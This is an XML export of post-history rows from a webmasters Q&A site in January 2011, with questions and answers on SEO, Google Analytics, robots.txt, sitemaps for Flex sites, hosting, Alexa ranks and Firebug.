  <row Id="14778" PostHistoryTypeId="2" PostId="7320" RevisionGUID="7927efc5-0a5a-43fe-97c5-8879c6e7dfc3" CreationDate="2011-01-04T10:11:47.933" UserId="4306" Text="Yes, you can do this.&#xD;&#xA;&#xD;&#xA; 1. Create a custom Advanced Segment that only shows traffic from Google&#xD;&#xA; 2. Go to Visitors &gt; Visitor Trending &gt; Visits &#xD;&#xA; 3. Click on the Clock icon in the 'Graph by' section to show Visits by Hour&#xD;&#xA;&#xD;&#xA;An easy way to test this without creating a custom segment is to use the default segment 'Non-paid search traffic'.  This should show a similar pattern to Google organic search traffic.&#xD;&#xA;&#xD;&#xA;" />
  <row Id="14779" PostHistoryTypeId="2" PostId="7321" RevisionGUID="02478f50-28f8-4c77-a00d-ad19060c8483" CreationDate="2011-01-04T11:22:48.063" UserId="3307" Text="If you set up Google Calendar via Google Apps for Domain (which is free for up to 50 users I think) then you don't have to &quot;invite&quot;, you can just add the calendars of other people in your domain." />
  <row Id="14780" PostHistoryTypeId="2" PostId="7322" RevisionGUID="39c49cf2-7214-4f1b-9cae-14c0c33749fd" CreationDate="2011-01-04T11:57:08.220" UserId="4318" Text="For my website I'm searching for a really simple gallery module that looks like the one use by Dropbox. But I'd like to have 2 additional features: allow visitors to make comments and display the number of hits of a photo.&#xD;&#xA;&#xD;&#xA;I was googling a lot for such gallerys, but could find anyone that really matched my requirements. Could someone reocommend a simple good-looking gallery that fullfills these requirements." />
  <row Id="14781" PostHistoryTypeId="1" PostId="7322" RevisionGUID="39c49cf2-7214-4f1b-9cae-14c0c33749fd" CreationDate="2011-01-04T11:57:08.220" UserId="4318" Text="How to find a good photo gallery for my website?" />
  <row Id="14782" PostHistoryTypeId="3" PostId="7322" RevisionGUID="39c49cf2-7214-4f1b-9cae-14c0c33749fd" CreationDate="2011-01-04T11:57:08.220" UserId="4318" Text="&lt;php&gt;&lt;javascript&gt;&lt;cms&gt;&lt;photo-gallery&gt;" />
  <row Id="14783" PostHistoryTypeId="2" PostId="7323" RevisionGUID="e64da028-9d0f-40ba-94f0-56b4597efcd5" CreationDate="2010-12-31T00:24:42.057" UserDisplayName="Brian" Text="I've been trying to determine different parameters used by Google in their search queries.  In particular, the usg parameter is what is giving me troubles.  Here is an example value given for it, which is from an actual Google query: usg=0_zDqudnCN52ATGjAl3tignXNtBo4%3D&#xD;&#xA;&#xD;&#xA;Does anyone know what it could be for / recognize it?&#xD;&#xA;&#xD;&#xA;I've done a bit of digging, but haven't found any confirmation as to what it could be.  Here is the link that I took a look at:&#xD;&#xA;http://www.webmasterworld.com/google/3892573.htm" />
  <row Id="14784" PostHistoryTypeId="1" PostId="7323" RevisionGUID="e64da028-9d0f-40ba-94f0-56b4597efcd5" CreationDate="2010-12-31T00:24:42.057" UserDisplayName="Brian" Text="Google Search Parameter Question" />
  <row Id="14785" PostHistoryTypeId="3" PostId="7323" RevisionGUID="e64da028-9d0f-40ba-94f0-56b4597efcd5" CreationDate="2010-12-31T00:24:42.057" UserDisplayName="Brian" Text="&lt;google&gt;&lt;google-search&gt;&lt;google-search-api&gt;&lt;google-local-search&gt;" />
  <row Id="14786" PostHistoryTypeId="17" PostId="7323" RevisionGUID="5ccc68b1-3395-47e3-90de-53a7e653fb96" CreationDate="2011-01-04T12:08:24.517" UserId="-1" Comment="from http://stackoverflow.com/questions/4567281/google-search-parameter-question" Text="" />
  <row Id="14789" PostHistoryTypeId="2" PostId="7325" RevisionGUID="75d47bb9-fe15-45c8-8f15-2153e9f57b89" CreationDate="2011-01-04T12:59:35.337" UserId="4319" Text="While it's not part of the standard robots.txt protocol (and therefore not globally recognized), Google and Bing both support LIMITED pattern matching.  For example:&#xD;&#xA;&#xD;&#xA;User-agent: Googlebot&#xD;&#xA;Disallow: /private*/&#xD;&#xA;&#xD;&#xA;Will block Googlebot from any directory beginning with &quot;private&quot;.  Currently, Googlebot supports * and $ (end of string)&#xD;&#xA;&#xD;&#xA;Details on Googlebot's pattern matching: http://www.google.com/support/webmasters/bin/answer.py?hl=en&amp;answer=156449&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;" />
  <row Id="14790" PostHistoryTypeId="2" PostId="7326" RevisionGUID="2a9a6dde-da1a-460a-97d4-5456b6f50bad" CreationDate="2011-01-04T14:26:04.887" UserId="4011" Text="It is possible, but I would recommend thinking about it twice as you will have 2x the code needed to manage in the future, you could need to do changes in the 2 CMS. Also it means 2x more CMS update, etc. If there is no other way, you can do it, but make sure it would not be possible with only 1 (possibly with plugins?)." />
  <row Id="14791" PostHistoryTypeId="2" PostId="7327" RevisionGUID="9df6d88a-2e48-46da-af5b-8069f98b47d0" CreationDate="2011-01-04T15:43:42.043" UserId="4332" Text="I need to show a lightbox slide show that will start with a video and once the video is complete it then rolls through static pictures on the slide show.  Does anyone have an idea of how I can achieve this?&#xD;&#xA;&#xD;&#xA;Thanks,&#xD;&#xA;&#xD;&#xA;Chris Edwards" />
  <row Id="14792" PostHistoryTypeId="1" PostId="7327" RevisionGUID="9df6d88a-2e48-46da-af5b-8069f98b47d0" CreationDate="2011-01-04T15:43:42.043" UserId="4332" Text="Light Box with Video" />
  <row Id="14793" PostHistoryTypeId="3" PostId="7327" RevisionGUID="9df6d88a-2e48-46da-af5b-8069f98b47d0" CreationDate="2011-01-04T15:43:42.043" UserId="4332" Text="&lt;video&gt;" />
  <row Id="14794" PostHistoryTypeId="2" PostId="7328" RevisionGUID="b93b7a8b-fa0c-420b-8caf-779fdcbb2c80" CreationDate="2011-01-04T16:31:06.747" UserId="4333" Text="If you are running php/mySQL I have found I like the following:&#xD;&#xA;&#xD;&#xA;**Versions:**&#xD;&#xA;&#xD;&#xA;Some services believe it or not still only run php 4. It's good to be able to run php 4 or php 5 and to be able to change that without calling tech support.&#xD;&#xA;&#xD;&#xA;**Server:**&#xD;&#xA;&#xD;&#xA;Linux/Unix is great, but some hosts try to offer php/MySQL on a Windows server, and that is no fun.&#xD;&#xA;&#xD;&#xA;**Chat:**&#xD;&#xA;&#xD;&#xA;Live tech support chat is great, much better than having to call.&#xD;&#xA;&#xD;&#xA;**Databases:**&#xD;&#xA;&#xD;&#xA;This one is tricky, but I would try to choose a service that doesn't cram many databases onto a single server. This is really where you pay for what you get. If your database is on a server with many other hosting accounts it WILL slow your site down. Not a big deal for a small blog but if you are getting 1000 hits a week or more you will feel the difference.&#xD;&#xA;&#xD;&#xA;Even with cheap hosting services this varies from company to company. You might go with $6/month account from Company A and have an okay site and if you went with Company B your site will take over 12 seconds to load every single time! &#xD;&#xA;&#xD;&#xA;Basically, google your company of choice and the words &quot;complaints&quot; or &quot;problems&quot; and see what kind of comments are coming up.&#xD;&#xA;&#xD;&#xA;**Ease of use and control panel:**&#xD;&#xA;&#xD;&#xA;Depending on how much php/mySQL you know, it's good to have phpMyAdmin installed (if not you can run desktop software like mySQL workbench or whatever). It's also nice to have auto-install of software like Drupal or Wordpress if available.&#xD;&#xA;&#xD;&#xA;It's nice have SSH (shell access) as a FREE option.&#xD;&#xA;&#xD;&#xA;Also, having a direct link to your control panel (i.e. something like www.mydomain.com/controlpanel/). There is nothing more annoying after while than having to click through a company website five times every time you need to log in and make changes to your service or billing.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;" />
  <row Id="14795" PostHistoryTypeId="2" PostId="7329" RevisionGUID="35d6446d-bb7e-4872-afc1-8b463df15e49" CreationDate="2011-01-04T16:32:14.183" UserId="19" Text="I have always positioned my `&lt;title&gt;` element as the first child of the `&lt;head&gt;` element. I am building a site where, for various reasons the title is currently one of the last children of the `&lt;head&gt;` element.  Does it matter either way with regard to SEO?" />
  <row Id="14796" PostHistoryTypeId="1" PostId="7329" RevisionGUID="35d6446d-bb7e-4872-afc1-8b463df15e49" CreationDate="2011-01-04T16:32:14.183" UserId="19" Text="For SEO, does it matter where the title tag is positioned within the head tag?" />
  <row Id="14797" PostHistoryTypeId="3" PostId="7329" RevisionGUID="35d6446d-bb7e-4872-afc1-8b463df15e49" CreationDate="2011-01-04T16:32:14.183" UserId="19" Text="&lt;seo&gt;" />
  <row Id="14798" PostHistoryTypeId="2" PostId="7330" RevisionGUID="a2a2aab7-1bcf-49e0-bc34-32447877d96d" CreationDate="2011-01-04T16:59:23.957" UserId="1253" Text="No. The value of the `&lt;title&gt;` tag is the value of the `&lt;title&gt;` tag regardless of its location in the `&lt;head&gt;` of the document. " />
  <row Id="14799" PostHistoryTypeId="2" PostId="7331" RevisionGUID="5dccb34b-b114-49f8-b93c-366009f619db" CreationDate="2011-01-04T17:06:51.163" UserId="4335" Text="Is Yahoo Directory worth the $299? Will it generate any traffic?&#xD;&#xA;&#xD;&#xA;I've got a Flex 3 site, so unfortunately, I'm invisible in SEO terms. I was wondering if signing up for this would help.&#xD;&#xA;&#xD;&#xA;Thank you.&#xD;&#xA;&#xD;&#xA;-Laxmidi" />
  <row Id="14800" PostHistoryTypeId="1" PostId="7331" RevisionGUID="5dccb34b-b114-49f8-b93c-366009f619db" CreationDate="2011-01-04T17:06:51.163" UserId="4335" Text="Will Signing up for Yahoo Directory Significantly Improve SERP for a Flex Site?" />
  <row Id="14801" PostHistoryTypeId="3" PostId="7331" RevisionGUID="5dccb34b-b114-49f8-b93c-366009f619db" CreationDate="2011-01-04T17:06:51.163" UserId="4335" Text="&lt;yahoo&gt;&lt;directory-listing&gt;" />
  <row Id="14802" PostHistoryTypeId="2" PostId="7332" RevisionGUID="d8d147d0-af93-41af-9a13-597bf68dc3b1" CreationDate="2011-01-04T17:18:53.137" UserId="1253" Text="Yahoo's directory is a mere shadow of what it used to be. It doesn't deliver any traffic anymore. General consensus that I've read online is that it isn't worth the $299 anymore. Especially since it now now per year as opposed to a one time fee like it originally was.&#xD;&#xA;&#xD;&#xA;[This page][1] might be a good read for you.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.websitepublisher.net/blog/2008/03/08/how-i-do-directory-submissions/" />
  <row Id="14803" PostHistoryTypeId="2" PostId="7333" RevisionGUID="b127c199-7dce-40f9-87f5-905b0f59c7e5" CreationDate="2011-01-04T17:21:09.917" UserId="17" Text="Hey guys I need some help. I will also apologize for not being able to be more specific.&#xD;&#xA;&#xD;&#xA;I'm looking for a specific web admin panel. that uses a login page via port 2222 or 4444. This is not vanilla forum or any forum.&#xD;&#xA;&#xD;&#xA;So the only way I know how to make this a legit question is to ask what &quot;free&quot; control panels do you use to manage your web sites. This means files and domains.&#xD;&#xA;&#xD;&#xA;Why do you use it? Where is it located?   " />
  <row Id="14804" PostHistoryTypeId="1" PostId="7333" RevisionGUID="b127c199-7dce-40f9-87f5-905b0f59c7e5" CreationDate="2011-01-04T17:21:09.917" UserId="17" Text="Free web mangement control panel" />
  <row Id="14805" PostHistoryTypeId="3" PostId="7333" RevisionGUID="b127c199-7dce-40f9-87f5-905b0f59c7e5" CreationDate="2011-01-04T17:21:09.917" UserId="17" Text="&lt;control-panel&gt;" />
  <row Id="14806" PostHistoryTypeId="2" PostId="7334" RevisionGUID="dcce4d4e-d113-4164-863d-b8563ca037c7" CreationDate="2011-01-04T17:23:33.930" UserId="3307" Text="Take a look here: http://drupal.org/node/64230&#xD;&#xA;&#xD;&#xA;(please note I didn't write that, it just came up in Google)" />
  <row Id="14807" PostHistoryTypeId="2" PostId="7335" RevisionGUID="c3c18e82-f0d5-4f95-ac84-fe7bd18f0748" CreationDate="2011-01-04T17:26:12.257" UserId="3307" Text="Take a look at [ISPConfig][1]. It's free and there are loads of tutorials via the link above on how to install it.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.howtoforge.com/howtos/control-panels/ispconfig" />
  <row Id="14808" PostHistoryTypeId="2" PostId="7336" RevisionGUID="a32dffbb-7b16-4023-a498-85882b2d7bbe" CreationDate="2011-01-04T17:47:34.387" UserId="4335" Text="I've got a Flex 3 site called [www.brainpinata.com][1] that's a trivia game. Basically, everything in the site is pulled from a database-- the questions, choices, and answers. So, unfortunately, Google doesn't index my content. &#xD;&#xA;&#xD;&#xA;So, I'm trying to think of ways to improve the situation:&#xD;&#xA;&#xD;&#xA;A) If I took my database data and put it in an XML file which was in the website's root directory, would this work? Would it violate any Google policy? (The info would be the same as in the db-- so nothing shady.) Would I have to &quot;wire&quot; the XML into my site or would it be enough to just have the XML sitting in the root directory? &#xD;&#xA;&#xD;&#xA;B) Another idea is to use the noscript tag and load the XML content there. As I understand it Google indexes content that people who have Javascript turned off would see. I know Flex/Actionscript 3, and unfortunately, I don't know how to load XML content with HTML. Does anyone know of an example where a Flex site uses XML for the noscript content?&#xD;&#xA;&#xD;&#xA;Thank you.&#xD;&#xA;&#xD;&#xA;-Laxmidi&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.brainpinata.com" />
  <row Id="14809" PostHistoryTypeId="1" PostId="7336" RevisionGUID="a32dffbb-7b16-4023-a498-85882b2d7bbe" CreationDate="2011-01-04T17:47:34.387" UserId="4335" Text="Using XML in a Flex Website to Improve SEO" />
  <row Id="14810" PostHistoryTypeId="3" PostId="7336" RevisionGUID="a32dffbb-7b16-4023-a498-85882b2d7bbe" CreationDate="2011-01-04T17:47:34.387" UserId="4335" Text="&lt;xml&gt;&lt;noscript&gt;" />
  <row Id="14811" PostHistoryTypeId="2" PostId="7337" RevisionGUID="135dd7fb-0933-447c-b5b4-630b54d6b803" CreationDate="2011-01-04T18:13:21.743" UserId="4335" Text="I've got a Flex website and I'm not sure how to make a sitemap for it. For a standard HTML page, sitemaps are straight forward. As Flex sites use a &quot;pageless&quot; architecture, I'm not sure what I should do. If anyone has any suggestions, please let me know. &#xD;&#xA;&#xD;&#xA;Thank you.&#xD;&#xA;&#xD;&#xA;-Laxmidi&#xD;&#xA;&#xD;&#xA;" />
  <row Id="14812" PostHistoryTypeId="1" PostId="7337" RevisionGUID="135dd7fb-0933-447c-b5b4-630b54d6b803" CreationDate="2011-01-04T18:13:21.743" UserId="4335" Text="How Does One Make a Sitemap for a Flex Website?" />
  <row Id="14813" PostHistoryTypeId="3" PostId="7337" RevisionGUID="135dd7fb-0933-447c-b5b4-630b54d6b803" CreationDate="2011-01-04T18:13:21.743" UserId="4335" Text="&lt;sitemap&gt;" />
  <row Id="14814" PostHistoryTypeId="2" PostId="7338" RevisionGUID="de18fe84-f21c-4823-bb8f-e4c640848106" CreationDate="2011-01-04T18:38:40.553" UserId="4339" Text="I was wondering if anyone could offer up rough estimates that could tell me how many hits a day move you into a given Alexa rank ?&#xD;&#xA;&#xD;&#xA;&lt;ul&gt;&#xD;&#xA;&lt;li&gt;Top     5,000&lt;/li&gt;&#xD;&#xA;&lt;li&gt;Top    10,000&lt;/li&gt;&#xD;&#xA;&lt;li&gt;Top    50,000&lt;/li&gt;&#xD;&#xA;&lt;li&gt;Top   100,000&lt;/li&gt;&#xD;&#xA;&lt;li&gt;Top   500,000&lt;/li&gt;&#xD;&#xA;&lt;li&gt;Top 1,000,000&lt;/li&gt;&#xD;&#xA;&lt;/ul&gt;&#xD;&#xA;&#xD;&#xA;I know this is incredibly subjective and thus the broad brush strokes with the number ranges... *BUT* I've got a site currently ranked just over 1.2M worldwide and over 500k in the USA (http://www.alexa.com/siteinfo/fstr.net)&#xD;&#xA;&#xD;&#xA;Pretty cool for something hand-built on weekends (pat self on back)&#xD;&#xA;&#xD;&#xA;I was applying to an ad-platform and was told that their program doesn't accept webmasters who have an Alexa rank of greater than 100,000.  (Time to take back that pat on the back I guess).&#xD;&#xA;&#xD;&#xA;I know that my hits in the last 30 days are somewhere on the order of 15,000 uniques and 20,000 pageviews.  So I'm wondering how much harder do I have to work to achieve my next &quot;goals&quot;?&#xD;&#xA;&#xD;&#xA;I'd like to break into the top million, then re-evaluate from there.  It'd be nice to know what those targets translate into (very roughly of course).&#xD;&#xA;&#xD;&#xA;I imagine that alexa ranks and tiers become very much exponential as you move up the ranks, but even hearing annecdotal evidence from other webmasters would be really useful to me.&#xD;&#xA;&#xD;&#xA;(ie: I have a site that is ranked X and it got Y hits in the last 30 days)&#xD;&#xA;&#xD;&#xA;Thanks :)&#xD;&#xA;- Alex" />
  <row Id="14815" PostHistoryTypeId="1" PostId="7338" RevisionGUID="de18fe84-f21c-4823-bb8f-e4c640848106" CreationDate="2011-01-04T18:38:40.553" UserId="4339" Text="Estimate of Hits / Visits / Uniques in order to fall within a given Alexa Tier?" />
  <row Id="14816" PostHistoryTypeId="3" PostId="7338" RevisionGUID="de18fe84-f21c-4823-bb8f-e4c640848106" CreationDate="2011-01-04T18:38:40.553" UserId="4339" Text="&lt;traffic&gt;&lt;site-ranking&gt;&lt;alexa&gt;" />
  <row Id="14817" PostHistoryTypeId="2" PostId="7339" RevisionGUID="d36ca232-09c8-454c-a453-2ae414472810" CreationDate="2011-01-04T19:13:07.573" UserId="1426" Text="There are a few lightbox clones which allow you to open an iframe in the box rather than an image or other media. So you'd need to setup a page on your site which does what you're after, and then open that URL in the light box.&#xD;&#xA;&#xD;&#xA;Here's a comparison table of the various light box clones available, hopefully you'll find one that's suitable:&#xD;&#xA;&#xD;&#xA;http://planetozh.com/projects/lightbox-clones/" />
  <row Id="14818" PostHistoryTypeId="2" PostId="7340" RevisionGUID="b9389015-fab6-4b06-ae2a-4de27c4393d4" CreationDate="2011-01-04T21:17:03.387" UserId="132" Text="Have you looked at &lt;a href=&quot;http://www.zenphoto.org/&quot;&gt;Zenphoto&lt;/a&gt;? It's a nice gallery system for displaying photos. It runs on PHP and MySQL, and is extensible and themable." />
  <row Id="14819" PostHistoryTypeId="2" PostId="7341" RevisionGUID="274f65c1-df5c-40c3-839e-1855932565c0" CreationDate="2011-01-04T22:02:39.603" UserId="2595" Text="I would take a look at this:&#xD;&#xA;http://www.seomoz.org/ugc/seo-friendly-flex-websites" />
  <row Id="14820" PostHistoryTypeId="2" PostId="7342" RevisionGUID="d6aea161-904c-42ca-b202-cb419ff6ec3d" CreationDate="2011-01-04T22:05:28.137" UserId="2595" Text="Assuming you are referring to the same site as in your previous question it looks like you only have 7 or 8 pages. Since your site is Flex you can't use an online sitemap generator, so you will have to do the XML by hand (which isn't hard). I would take a look at this article:&#xD;&#xA;http://sitemaps.org/protocol.php" />
  <row Id="14821" PostHistoryTypeId="2" PostId="7343" RevisionGUID="120eb534-7887-4a4f-862e-547d85eb7f50" CreationDate="2011-01-04T22:36:09.707" UserDisplayName="parisminton" Text="For some time now, I've run Firebug constantly enabled to do quick DOM inspections, leaving the Console and Script panels disabled.&#xD;&#xA;&#xD;&#xA;I'm just starting to use these two features so I don't have to keep using alerts for testing and debugging. I enable them while I use them and turn them back off when I'm done.&#xD;&#xA;&#xD;&#xA;I'd like to know if these particular features can slow things down such that they shouldn't be left on round-the-clock. Like do they slow down page loads, use inordinate chunks of memory or something?&#xD;&#xA;&#xD;&#xA;I don't see anything about it in the Firebug wiki." />
  <row Id="14822" PostHistoryTypeId="1" PostId="7343" RevisionGUID="120eb534-7887-4a4f-862e-547d85eb7f50" CreationDate="2011-01-04T22:36:09.707" UserDisplayName="parisminton" Text="Is it costly to leave the Console and Script features enabled in Firebug?" />
  <row Id="14823" PostHistoryTypeId="3" PostId="7343" RevisionGUID="120eb534-7887-4a4f-862e-547d85eb7f50" CreationDate="2011-01-04T22:36:09.707" UserDisplayName="parisminton" Text="&lt;firefox&gt;&lt;testing&gt;&lt;development&gt;" />
  <row Id="14824" PostHistoryTypeId="17" PostId="7343" RevisionGUID="ee357b97-74a8-4228-b705-bdba36c707fa" CreationDate="2011-01-04T23:08:29.743" UserId="-1" Comment="from http://webapps.stackexchange.com/questions/10945/is-it-costly-to-leave-the-console-and-script-features-enabled-in-firebug" Text="" />
  <row Id="14825" PostHistoryTypeId="2" PostId="7344" RevisionGUID="939b17e2-76f7-4836-a7ef-79f08ae05767" CreationDate="2011-01-04T23:18:10.083" UserDisplayName="DouG Molidor" Text="I'm experiencing the same issue with sharer.php. You may want to fix the errors noted here:&#xD;&#xA;http://developers.facebook.com/tools/lint/?url=http://mttv.co.il/&#xD;&#xA;&#xD;&#xA;I don't have access to my client's FB account to approve my domain so I can't test for sure." />
  <row Id="14826" PostHistoryTypeId="2" PostId="7345" RevisionGUID="3bce5d12-3ccc-4370-8b65-e0c5c3952299" CreationDate="2011-01-05T00:14:02.723" UserId="1022" Text="A/B testing is intended for testing specific, isolated details - basically the scientific method applied to user interaction / visual interface stuff, with all the meticulous attention to detail that implies.  For broadly testing two completely different designs against each other, you won't get any of the benefits from it.  You'll be able to find out if one design performs better than another, but you won't find out why, which is the whole point of A/B tests. This could be why you haven't found any services that do this - splits are irrelevant at that wide a scope, there are too many variables at play to pull any reasonable data from.&#xD;&#xA;&#xD;&#xA;If you just want to find out which design works better, then instead of A/B testing, it might be easier and just as effective to just set the two designs up as independent sites (with equal marketing &amp; stat tracking) and let nature take it's course. Or just swap one design for the other until you can see how each performs, or whatever sounds reasonable. Once you've figured that out, that's when A/B testing will start to get useful, analyzing &amp; improving the individual, isolated elements of the design.&#xD;&#xA;&#xD;&#xA;But if you're really stuck on the idea of using splits for this, you could theoretically implement it yourself server-side using libraries like [PHP A/B][1] or [Swab][2] for Python (among a dozen others for any platform), or just a few if-else statements and some stat tracking. I wouldn't recommend relying on a 3rd-party / Javascript-reliant solution for it though, it sounds too volatile - should the test provider go down, your site may go down with it. Kind of defeats the purpose.&#xD;&#xA;&#xD;&#xA;  [1]: http://phpabtest.com/&#xD;&#xA;  [2]: http://pypi.python.org/pypi/swab/&#xD;&#xA;" />
  <row Id="14827" PostHistoryTypeId="8" PostId="7286" RevisionGUID="e807aabc-8646-45ae-82a5-ccba8b9153be" CreationDate="2011-01-05T00:14:39.353" UserId="138" Comment="Rollback to [f2ada3df-3111-486c-8a66-072566d889a0]" Text="I would agree with danlefree, although it might also be advisable to rank the keywords this way, i.e. point #4:&#xD;&#xA;&#xD;&#xA;Kws that your top organic competitors used in their meta list - upon checking that their visitors can actually find them in the corresponding top ten positions for those kws.&#xD;&#xA;&#xD;&#xA;That way your research covers niches, big traffic, PPC competitors (as covered by danlefree) and your organic search competitors - mainly their proven ideas/research actually.&#xD;&#xA;&#xD;&#xA;For the latter, you should create totally unique ad versions to compete with the clever titles and meta descriptions of at least the top 3 organics." />
  <row Id="14828" PostHistoryTypeId="10" PostId="7113" RevisionGUID="28b525c4-5bf9-4f60-aaa6-2385da3decf0" CreationDate="2011-01-05T00:15:57.137" UserId="-1" CloseReasonId="2" Text="[{&quot;Id&quot;:210,&quot;DisplayName&quot;:&quot;Darryl Hein&quot;},{&quot;Id&quot;:138,&quot;DisplayName&quot;:&quot;Farseeker&quot;}]" />
  <row Id="14829" PostHistoryTypeId="5" PostId="7337" RevisionGUID="8ae83eb9-46af-425c-b03a-998eac8b123f" CreationDate="2011-01-05T00:16:15.940" UserId="4335" Comment="added 872 characters in body" Text="I've got a Flex website and I'm not sure how to make a sitemap for it. For a standard HTML page, sitemaps are straight forward. As Flex sites use a &quot;pageless&quot; architecture, I'm not sure what I should do. If anyone has any suggestions, please let me know. &#xD;&#xA;&#xD;&#xA;&#xD;&#xA;UPDATE:&#xD;&#xA;&#xD;&#xA;As I understand it, Google doesn't look at anything after the # in a URL. So in a deeplinked Flex site, Google wouldn't see the second page-- where it reads view=12 in the sample sitemap below. &#xD;&#xA;&#xD;&#xA;Or does Google handle sitemaps differently? Should I go ahead and make a sitemap with all of the deeplinked URLS: http://brainpinata.com/#view=12, http://brainpinata.com/#view=4, etc.&#xD;&#xA;&#xD;&#xA;&lt;?xml version=&quot;1.0&quot; encoding=&quot;UTF-8&quot;?&gt;&#xD;&#xA;&lt;urlset xmlns=&quot;http://www.sitemaps.org/schemas/sitemap/0.9&quot;&gt;&#xD;&#xA;   &lt;url&gt;&#xD;&#xA;      &lt;loc&gt;http://www.brainpinata.com/&lt;/loc&gt;&#xD;&#xA;      &lt;lastmod&gt;2010-12-01&lt;/lastmod&gt;&#xD;&#xA;      &lt;changefreq&gt;weekly&lt;/changefreq&gt;&#xD;&#xA;      &lt;priority&gt;1.0&lt;/priority&gt;&#xD;&#xA;   &lt;/url&gt;&#xD;&#xA;&#xD;&#xA;   &lt;url&gt;&#xD;&#xA;      &lt;loc&gt;http://brainpinata.com/#view=12&lt;/loc&gt;&#xD;&#xA;      &lt;lastmod&gt;2010-12-01&lt;/lastmod&gt;&#xD;&#xA;      &lt;changefreq&gt;weekly&lt;/changefreq&gt;&#xD;&#xA;      &lt;priority&gt;1.0&lt;/priority&gt;&#xD;&#xA;   &lt;/url&gt;&#xD;&#xA;&lt;/urlset&gt; &#xD;&#xA;&#xD;&#xA;&#xD;&#xA;Thank you.&#xD;&#xA;&#xD;&#xA;-Laxmidi&#xD;&#xA;&#xD;&#xA;" />
  <row Id="14830" PostHistoryTypeId="5" PostId="7344" RevisionGUID="969915e1-c08e-469d-ba0a-d25c4865dc84" CreationDate="2011-01-05T00:23:04.997" UserDisplayName="DouG Molidor" Comment="added 320 characters in body" Text="Looking at the source code of the URL that you have in your Share link the Open Graph image tag seems to be missing.&#xD;&#xA;&#xD;&#xA;Facebook's URL Linter to verify your tags are working on the URLs you want to share:&#xD;&#xA;http://developers.facebook.com/tools/lint?url=http://mttv.co.il/2011/01/%25d7%2594%25d7%2599%25d7%259c%25d7%2595%25d7%259c%25d7%2594-%25d7%25a9%25d7%259c-%25d7%2594%25d7%2591%25d7%2591%25d7%2590-%25d7%25a1%25d7%259c%25d7%2599-%25d7%2591%25d7%259e%25d7%25a2%25d7%259c%25d7%2595%25d7%25aa/ &#xD;&#xA;&#xD;&#xA;FB wil cache the tags too, so use the URL Linter every time you update them." />
  <row Id="14831" PostHistoryTypeId="17" PostId="7347" RevisionGUID="4f299ac1-cd34-4a9f-a5a4-b8bdbcf94b0b" CreationDate="2011-01-05T00:23:39.503" UserId="-1" Comment="from http://stackoverflow.com/questions/4591844/what-exactly-is-an-seo-badge-and-how-does-it-help-my-seo/4592002#4592002" Text="" />
  <row Id="14832" PostHistoryTypeId="2" PostId="7347" RevisionGUID="e7c1f4bc-bf5b-4138-b2bc-63f85ea69155" CreationDate="2011-01-04T09:09:03.330" UserId="3282" Text="If I understand it correctly, they will crawl your website if you have the badge present. They will crawl information hard to find by regular crawlers and submit xml sitemaps to the major search engines.&#xD;&#xA;&#xD;&#xA;Everything can be read here: http://www.attracta.com/how-it-works.jsp&#xD;&#xA;&#xD;&#xA;However, I have no idea how well it works in reality." />
  <row Id="14833" PostHistoryTypeId="2" PostId="7346" RevisionGUID="a0d2cd77-e1e7-4326-864a-750ad5fd4fdc" CreationDate="2011-01-04T08:44:04.930" UserDisplayName="ben geit" Text="I'm using attracta.com as an SEO tool to try and improve my SEO.  They say that I should use an SEO badge to improve my ranking but I don't really understand what it is or what it does (a quick Google search didn't provide too much information).  I was just wondering if any of you guys here at stackoverflow had any information they would be able to impart to me.  Thanks for your help!" />
  <row Id="14834" PostHistoryTypeId="1" PostId="7346" RevisionGUID="a0d2cd77-e1e7-4326-864a-750ad5fd4fdc" CreationDate="2011-01-04T08:44:04.930" UserDisplayName="ben geit" Text="What exactly is an SEO badge and how does it help my SEO?" />
  <row Id="14835" PostHistoryTypeId="3" PostId="7346" RevisionGUID="a0d2cd77-e1e7-4326-864a-750ad5fd4fdc" CreationDate="2011-01-04T08:44:04.930" UserDisplayName="ben geit" Text="&lt;google&gt;&lt;seo&gt;&lt;search-engines&gt;" />
  <row Id="14836" PostHistoryTypeId="17" PostId="7346" RevisionGUID="556ec086-df50-42a7-9e29-ee6b67dc0513" CreationDate="2011-01-05T00:23:39.503" UserId="-1" Comment="from http://stackoverflow.com/questions/4591844/what-exactly-is-an-seo-badge-and-how-does-it-help-my-seo" Text="" />
  <row Id="14837" PostHistoryTypeId="2" PostId="7348" RevisionGUID="f05002ff-f78a-4fa2-a15b-211e6bf8bd0c" CreationDate="2011-01-05T00:53:17.993" UserId="1757" Text="The badges they refer to are simply image links for your site. A lot of sites have these sort of images that they offer visitors for linking back to them. A more common name for them is a **button** (&quot;button image&quot;, &quot;link button&quot;, etc.).&#xD;&#xA;&#xD;&#xA;If you have a nice badge and ask your visitors nicely, and you also provide good content/a useful service, then, sure, a badge could probably increase the number of links to your site a little, and thus increase your search ranking.&#xD;&#xA;&#xD;&#xA;That said, however, badges alone aren't going to make a huge difference on most sites. I mean, how many webmasters want to put a free banner/button ad to another website on their own website? It might be a good tactic if you have the right brand for it (e.g. a snowboard company, a clothing company, or other &quot;hip&quot; brands), but if your website is for a travel agency/law firm/hardware store/etc. then I don't see it being much help. And, to be honest, Attracta's auto-generated badges are [pretty ugly][1]; if you're looking for a good badge maker, I'd try this site: [80x15][2].&#xD;&#xA;&#xD;&#xA;Lastly, I also found some anomalies while searching Attracta's website. If you do a Google search for &quot;[badges site:attracta.com][3]&quot; you get a lot of results that are redirects to getsatisfaction questions for foursquare. I don't know if there's some kind of relationship between the companies but it seems pretty weird (and possibly qualifies as cloaking).&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://cdn.attracta.com/badge/verify/70873.html&#xD;&#xA;  [2]: http://80x15.com/&#xD;&#xA;  [3]: http://www.google.com/search?q=badge+site%3Aattracta.com" />
  <row Id="14838" PostHistoryTypeId="2" PostId="7349" RevisionGUID="99033dfb-43ce-4a71-8814-8b85cb5becd7" CreationDate="2011-01-05T00:54:45.423" UserId="1064" Text="Yes - FireBug is storing information which is meant to be static (i.e. only one instance is intended to be stored, however, FireBug stores *all* instances).&#xD;&#xA;&#xD;&#xA;[Gmail][1] in particular will slow considerably and may even crash your FireFox instance.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://mail.google.com/support/bin/answer.py?answer=77355" />
